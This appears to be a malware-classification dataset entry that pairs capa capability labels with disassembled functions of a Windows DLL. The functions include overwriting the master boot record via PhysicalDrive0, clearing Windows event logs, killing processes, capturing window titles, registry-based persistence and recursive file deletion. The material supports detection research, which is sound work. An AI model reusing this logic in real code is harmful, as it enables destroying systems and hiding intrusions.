joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100074f0
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x104
push ebx
push esi
mov ebx, ecx
lea esi, [eax + 4]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
inc edi
je 0x100076d8
push ebp
push edi
call dword [sym.imp.MSVCRT.dll_malloc]
mov ecx, edi
mov ebp, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
add esp, 4
mov ecx, edx
lea eax, [esp + 0x10]
and ecx, 3
push 0
push 0x1a
push eax
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, 0x100fa614
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
pop ebp
je 0x100076cc
push 0
push 0x80
push 3
push 0
push 0
lea ecx, [esp + 0x20]
push bind
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [ebx + 0x230], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [ebx + 0x238], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x238]
lea edx, [ebx + 0x23c]
push 0
push edx
mov edx, dword [ebx + 0x230]
push ecx
push eax
push edx
mov dword [ebx + 0x234], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebx + 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebx + 0x238]
mov edx, dword [ebx + 0x234]
push 0x400
push ecx
push edx
call fcn.10007200
mov eax, dword [ebx + 0x234]
push eax
call fcn.100069f0
add esp, 0x10
mov dword [0x1012b07c], eax
mov ecx, dword [ebx + 0x234]
push 0x8000
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0x1012b07c]
test eax, eax
je 0x100076cc
push str.Main
push eax
call fcn.10006e70
mov esi, eax
add esp, 8
test esi, esi
je 0x100076b1
push 0xac
mov ecx, ebx
call fcn.10009690
mov edx, dword [esp + 0x114]
mov eax, dword [0x100faca0]
push edx
push eax
push 0x1012b968
call esi
add esp, 0xc
mov ecx, dword [0x1012b07c]
push ecx
call fcn.10006f00
add esp, 4
pop edi
pop esi
pop ebx
add esp, 0x104
ret 4
push 0xaa
mov ecx, ebx
call fcn.10009690
pop edi
pop esi
pop ebx
add esp, 0x104
ret 4
Function at 0x100089f0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100b7810
push 0x1002d234
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10008b4d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10008a9c
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10008a9c
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10008a77
cmp al, 0x5c
je 0x10008a77
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10008a5f
cmp byte [esi], 0
je 0x10008a80
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10008a95
cmp al, 0x5c
je 0x10008a95
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10008a7d
cmp byte [esi], 0
je 0x10008abb
jmp 0x10008ab7
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10008abb
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10008abb
cmp al, 0x5c
jne 0x10008abb
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x10008b11
cmp al, 0x5c
jne 0x10008b03
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10008af6
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10008b00
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10008b00
push edi
jmp 0x10008b44
and eax, 0x10
cmp al, 0x10
je 0x10008b00
push edi
jmp 0x10008b44
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10008ac1
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100092a0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
sub esp, 0x464
push ebx
push ebp
push esi
mov esi, dword [esp + 0x474]
mov dword [esp + 0x20], ecx
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x168]
push esi
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov cl, byte [eax + esi - 1]
mov edi, 0x100fa614
cmp cl, 0x5c
jne 0x100092df
mov edi, 0x1012b074
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
mov al, 0x2a
mov byte [esp + 0x1c], al
mov byte [esp + 0x1e], al
push edi
lea eax, [esp + 0x1c]
push esi
lea ecx, [esp + 0x170]
mov bl, 0x73
push eax
push ecx
mov byte [esp + 0x28], 0x25
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x25
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2d], 0x2e
mov byte [esp + 0x2f], 0
call ebp
add esp, 0x10
lea edx, [esp + 0x28]
lea eax, [esp + 0x168]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x20], eax
jne 0x1000934c
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x464
ret 4
mov byte [esp + 0x11], bl
mov byte [esp + 0x13], bl
mov byte [esp + 0x15], bl
mov byte [esp + 0x10], 0x25
mov byte [esp + 0x12], 0x25
mov byte [esp + 0x14], 0x25
mov byte [esp + 0x16], 0
mov bl, 1
cmp byte [esp + 0x54], 0x2e
je 0x100093ea
test byte [esp + 0x28], 0x10
je 0x100093a8
lea ecx, [esp + 0x54]
lea edx, [esp + 0x10]
push ecx
push edi
push esi
lea eax, [esp + 0x37c]
push edx
push eax
call ebp
add esp, 0x14
lea ecx, [esp + 0x370]
push ecx
mov ecx, dword [esp + 0x28]
call fcn.100092a0
jmp 0x100093ea
lea edx, [esp + 0x54]
lea eax, [esp + 0x10]
push edx
push edi
push esi
lea ecx, [esp + 0x278]
push eax
push ecx
call ebp
mov al, byte [esp + 0x3c]
add esp, 0x14
test bl, al
je 0x100093dc
lea edx, [esp + 0x26c]
push 0x80
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x26c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x28]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000936e
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x464
ret 4
Function at 0x1000b730
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push esi
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x1012b15c
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x1012b15c
push eax
mov dword [0x1012b55c], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x1012b158]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x1012b55c]
cmp eax, ecx
je 0x1000b82b
push 0x1012b15c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x1000b81f
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x12]
mov ecx, dword [esp + 0x10]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x12]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x12]
push ecx
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x1012b15c
lea edx, [esp + 0x34]
push 0x100faf88
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x3c]
push eax
call fcn.1000b620
add esp, 0x28
mov ecx, 0x100
xor eax, eax
mov edi, 0x1012b15c
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x1012b55c]
mov dword [0x1012b158], ecx
mov eax, esi
pop edi
pop esi
add esp, 0x410
ret

Function at 0x1000ba50
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
lea eax, [esp + 0x10]
push eax
push ebp
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000bb0a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1000bb11
mov esi, dword [esp + 0x13c]
mov edi, dword [sym.imp.MSVCRT.dll__wcsupr]
push esi
call edi
lea ecx, [esp + 0x38]
mov ebx, eax
push ecx
call edi
push ebx
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 0x10
test eax, eax
jbe 0x1000bac7
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x128
ret
lea edx, [esp + 0x10]
push edx
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000bb0a
mov edi, dword [sym.imp.MSVCRT.dll__strlwr]
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [esp + 0x34]
push eax
call edi
push esi
call edi
lea ecx, [esp + 0x3c]
push esi
push ecx
call ebx
add esp, 0x10
test eax, eax
jne 0x1000bab7
lea edx, [esp + 0x10]
push edx
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000bae2
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x128
ret
Function at 0x1000bbb0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x100980a3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 2
mov dword [esp + 0x148], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 0x10]
push eax
push edi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000bcae
lea ecx, [esp + 0x148]
call sub.MFC42.DLL_CString::MakeLower
lea ecx, [esp + 0x10]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000bca0
lea edx, [esp + 0x34]
lea ecx, [esp + 0xc]
push edx
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0xc]
mov byte [esp + 0x140], 1
call sub.MFC42.DLL_CString::MakeLower
mov esi, dword [esp + 0x148]
mov eax, dword [esp + 0xc]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000bc69
cmp cl, bl
je 0x1000bc65
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000bc69
add eax, 2
add esi, 2
cmp cl, bl
jne 0x1000bc45
xor eax, eax
jmp 0x1000bc6e
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x1000bcdf
push 0xffffffffffffffff
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [esp + 0xc]
mov byte [esp + 0x140], bl
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x10]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000bc1b
push 0xffffffffffffffff
lea ecx, [esp + 0x14c]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [esp + 0x148]
mov dword [esp + 0x140], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0x138]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x138
ret
mov ecx, dword [esp + 0x18]
push ecx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0xffffffffffffffff
lea ecx, [esp + 0x14c]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [esp + 0xc]
mov byte [esp + 0x140], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x148]
mov dword [esp + 0x140], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 1
jmp 0x1000bcc7
Function at 0x1000e2b0
Capabilities:
Enumerate gui resources

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1000bb20
mov eax, ecx
mov esi, edi
mov edi, 0x1012b564
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_EnumWindows]
mov ecx, dword [0x1012b560]
xor eax, eax
test ecx, ecx
pop edi
pop esi
setne al
ret 4

Function at 0x1000e540
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x1000e590
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x1000e577
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x1000e5b0
Capabilities:
Set registry value
Write file on windows

Disassembly:
sub esp, 0x10c
push esi
push edi
mov ecx, 0xa
mov esi, str.C:ProgramDataMicrosoft_DriveHost.sys
lea edi, [esp + 0x10]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
push eax
mov ecx, 0x37
lea edi, [esp + 0x3c]
push 0x80
push 4
push eax
rep stosd dword es:[edi], eax
push 2
lea eax, [esp + 0x24]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, dword [esp + 0x118]
lea ecx, [esp + 0xc]
push 0
push ecx
push esi
mov edi, eax
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 8]
push edx
push str.TGByteSetup
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1000e661
mov edi, esi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push 1
push eax
mov eax, dword [esp + 0x18]
push str.Host
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 0x10c
ret
Function at 0x1000e670
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar
Manipulate cd-rom drive
Overwrite master boot record (mbr)
Power down monitor
Shutdown system
Swap mouse buttons
Terminate process
Write file on windows

Disassembly:
sub esp, 0x208
mov ecx, 0x7f
xor eax, eax
push esi
push edi
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x214]
test eax, eax
je 0x1000e6a5
mov ecx, 6
mov esi, 0x100fac84
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
jmp 0x1000e6ae
mov al, byte [0x100fac84]
mov byte [esp + 0x10], al
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
mov byte [esp + 0x22a], 0x55
mov byte [esp + 0x22b], 0xaa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000e6ea
pop edi
or eax, eax
pop esi
add esp, 0x208
ret
lea ecx, [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
lea edx, [esp + 0xc]
push 0
push edx
lea eax, [esp + 0x18]
push 0x200
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [esp + 8]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x1000e764
push 1
push str.SeShutdownPrivilege
call fcn.1001b7a0
add esp, 8
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1000ebe0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x1000ec06
xor al, al
add esp, 0x9c
ret
cmp dword [esp + 4], 5
seta al
add esp, 0x9c
ret
Function at 0x10010640
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.1001b7a0
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.1001b7a0
add esp, 8
ret 4

Function at 0x10010790
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
mov dword [esp + 0xc], ecx
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push 0x104
push eax
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x100fa614
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x1c]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 3
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
push ebx
and ecx, 3
push 1
lea eax, [esp + 0x2c]
push bind
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x10010892
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MFC42.DLL_operatornew
add esp, 4
lea ecx, [esp + 0x14]
mov esi, eax
push ebx
push ecx
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x1001087c
mov bl, byte [eax + esi]
xor bl, 0x62
mov byte [eax + esi], bl
inc eax
cmp eax, edi
jb 0x1001086e
mov ecx, dword [esp + 0x10]
push edi
push esi
call fcn.10010730
push esi
mov ebx, eax
call sub.MFC42.DLL_operatordelete
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x10c
ret
Function at 0x10010ef0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x10098661
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
lea ecx, [esi + 4]
call fcn.1002d012
xor edi, edi
lea ecx, [esi + 8]
mov dword [esp + 0x14], edi
call fcn.1002d012
lea ecx, [esi + 0xc]
mov byte [esp + 0x14], 1
call fcn.1002d012
lea ecx, [esi + 0x10]
mov byte [esp + 0x14], 2
call sub.MFC42.DLL_CStringArray::CStringArray
lea ecx, [esi + 0x24]
mov byte [esp + 0x14], 3
call fcn.1002d012
lea ecx, [esi + 0x28]
mov byte [esp + 0x14], 4
call fcn.1002d012
lea ecx, [esi + 0x2c]
mov byte [esp + 0x14], 5
call fcn.1002d012
lea ecx, [esi + 0x30]
mov byte [esp + 0x14], 6
call fcn.1002d012
mov dword [esi + 0x34], 0x100b7838
mov dword [esi + 0x38], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x3c], edi
lea ecx, [esi + 0x80]
mov byte [esp + 0x14], 8
call fcn.1002d012
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
push eax
push ecx
push edx
mov ecx, esi
mov byte [esp + 0x20], 9
mov dword [esi], 0x100b7834
call fcn.100110d0
mov ecx, dword [esp + 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 0xc
Function at 0x10015040
Capabilities:
Query or enumerate registry key

Disassembly:
mov eax, dword [ecx + 4]
sub esp, 0x3c
push ebx
push esi
xor esi, esi
cmp eax, reloc.WS2_32.dll_accept
jne 0x10015060
mov edx, dword [0x1012c5f8]
test edx, edx
je 0x10015060
mov eax, reloc.WS2_32.dll_closesocket
lea edx, [esp + 0x10]
add ecx, 8
push edx
push 0xf003f
push 0
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100151e2
push eax
push eax
lea eax, [esp + 0x30]
lea ecx, [esp + 0x34]
push eax
lea edx, [esp + 0x3c]
push ecx
push edx
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x30]
push 0
lea ecx, [esp + 0x20]
push eax
push ecx
push 0
push 0
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x100150b9
pop esi
xor eax, eax
pop ebx
add esp, 0x3c
ret
mov eax, dword [esp + 0x1c]
lea ebx, [eax + 1]
mov eax, dword [esp + 8]
test eax, eax
jbe 0x100151e2
cmp ebx, 1
jbe 0x100151e2
mov esi, ebx
push ebp
imul esi, eax
add esi, 0xe
push edi
push esi
push 0x40
mov dword [esp + 0x34], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, esi
mov edx, eax
mov ebp, ecx
xor eax, eax
mov edi, edx
mov dword [esp + 0x20], edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebp
push ebx
and ecx, 3
inc edx
rep stosb byte es:[edi], al
mov byte [edx - 1], 0x98
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x48]
mov dword [edx], eax
mov al, byte [esp + 0x4c]
mov dword [edx + 4], ebx
mov dword [edx + 8], ecx
mov byte [edx + 0xc], al
call sub.MFC42.DLL_operatornew
mov ebp, eax
mov eax, dword [esp + 0x14]
add esp, 4
mov dword [esp + 0x14], 0
test eax, eax
jbe 0x100151bc
mov ecx, dword [esp + 0x20]
add ecx, 0xd
mov dword [esp + 0x1c], ecx
mov ecx, ebx
xor eax, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
push 0
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push 0
lea eax, [esp + 0x34]
push 0
push eax
push ebp
push ecx
push edx
mov dword [esp + 0x48], ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
add edx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x14]
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
cmp eax, ecx
mov dword [esp + 0x1c], edx
jb 0x10015148
mov esi, dword [esp + 0x2c]
push ebp
call sub.MFC42.DLL_operatordelete
mov ecx, dword [esp + 0x1c]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x20]
push 0x42
push esi
push edx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
pop edi
mov esi, eax
pop ebp
mov eax, esi
pop esi
pop ebx
add esp, 0x3c
ret